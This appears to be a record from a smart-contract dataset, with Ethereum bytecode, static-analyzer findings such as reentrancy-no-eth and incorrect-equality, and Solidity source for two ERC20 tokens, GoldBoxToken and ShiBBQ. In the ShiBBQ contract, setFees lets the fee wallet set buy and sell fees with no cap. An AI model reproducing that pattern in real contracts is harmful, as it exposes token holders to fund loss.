2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
451
0xa4228f76abc218d981db1995b779954c78c00e99
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GoldBoxToken is StandardToken { string public name = "GoldBoxToken"; string public symbol = "GOX"; uint public decimals = 18; uint public INITIAL_SUPPLY = 200000000 * (10 ** decimals); function GoldBoxToken () public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102ba57806370a082311461031f57806395d89b4114610376578063a9059cbb14610406578063d73dd6231461046b578063dd62ed3e146104d0575b600080fd5b3480156100cb57600080fd5b506100d4610547565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e5565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106d7565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a9b565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aa1565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa7565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610d80565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1e565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611239565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561071e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f657600080fd5b610847826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108da826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bb8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4c565b610bcb83826112c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e165780601f10610deb57610100808354040283529160200191610e16565b820191906000526020600020905b815481529060010190602001808311610df957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e5b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea857600080fd5b610ef9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110ce82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112ce57fe5b818303905092915050565b600081830190508281101515156112ec57fe5b809050929150505600a165627a7a72305820c5ba2367014098189e843928cae7d6dbce93e7fe035c1352762cf1e3049e69180029
{"success": true, "error": null, "results": {}}
452
0xa630043b9dfc29a6f53574c721b7fd5d52dfbb56
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ /** https://t.me/yourdaotoken SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShiBBQ is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"ShiBBQ"; //// string public constant symbol = unicode"SHIBBQ"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 6; uint public _sellFee = 6; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (30 minutes)) { fee += 13; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 15000000001 * 10**9; // .5% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063e8078d94146105ea57600080fd5b8063a9059cbb1461050f578063b2131f7d1461052f578063c3c8cd8014610545578063c9567bf91461055a57600080fd5b8063715018a6116100d1578063715018a61461048a5780638da5cb5b1461049f57806394b8d8f2146104bd57806395d89b41146104dd57600080fd5b8063509016171461041f578063590f897e1461043f5780636fc3eaec1461045557806370a082311461046a57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103a957806340b9a54b146103c957806345596e2e146103df57806349bd5a5e146103ff57600080fd5b806327f3a72a1461031f578063313ce5671461033457806332d873d81461035b578063367c55441461037157600080fd5b80630b78f9c0116101b65780630b78f9c0146102ad57806318160ddd146102cd5780631940d020146102e957806323b872dd146102ff57600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025b578063095ea7b31461027d57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b5061024e6040518060400160405280600681526020016553686942425160d01b81525081565b6040516102139190611928565b34801561026757600080fd5b5061027b610276366004611992565b6105ff565b005b34801561028957600080fd5b5061029d6102983660046119af565b610674565b6040519015158152602001610213565b3480156102b957600080fd5b5061027b6102c83660046119db565b61068a565b3480156102d957600080fd5b50683635c9adc5dea00000610209565b3480156102f557600080fd5b50610209600e5481565b34801561030b57600080fd5b5061029d61031a3660046119fd565b6106f1565b34801561032b57600080fd5b506102096107d9565b34801561034057600080fd5b50610349600981565b60405160ff9091168152602001610213565b34801561036757600080fd5b50610209600f5481565b34801561037d57600080fd5b50600854610391906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b557600080fd5b50600754610391906001600160a01b031681565b3480156103d557600080fd5b50610209600a5481565b3480156103eb57600080fd5b5061027b6103fa366004611a3e565b6107e9565b34801561040b57600080fd5b50600954610391906001600160a01b031681565b34801561042b57600080fd5b5061027b61043a366004611992565b610883565b34801561044b57600080fd5b50610209600b5481565b34801561046157600080fd5b5061027b6108f1565b34801561047657600080fd5b50610209610485366004611992565b61091e565b34801561049657600080fd5b5061027b610939565b3480156104ab57600080fd5b506000546001600160a01b0316610391565b3480156104c957600080fd5b5060105461029d9062010000900460ff1681565b3480156104e957600080fd5b5061024e6040518060400160405280600681526020016553484942425160d01b81525081565b34801561051b57600080fd5b5061029d61052a3660046119af565b6109ad565b34801561053b57600080fd5b50610209600c5481565b34801561055157600080fd5b5061027b6109ba565b34801561056657600080fd5b5061027b6109f0565b34801561057b57600080fd5b50610209610a93565b34801561059057600080fd5b5061027b61059f366004611a65565b610aab565b3480156105b057600080fd5b506102096105bf366004611a82565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027b610b1e565b6007546001600160a01b0316336001600160a01b03161461061f57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610681338484610e69565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106aa57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561071f57506001600160a01b03831660009081526004602052604090205460ff16155b801561073857506009546001600160a01b038581169116145b15610787576001600160a01b03831632146107875760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610792848484610f8d565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c1908490611ad1565b90506107ce853383610e69565b506001949350505050565b60006107e43061091e565b905090565b6007546001600160a01b0316336001600160a01b03161461080957600080fd5b6000811161084e5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161077e565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610669565b6008546001600160a01b0316336001600160a01b0316146108a357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610669565b6007546001600160a01b0316336001600160a01b03161461091157600080fd5b4761091b81611587565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161077e90611ae8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1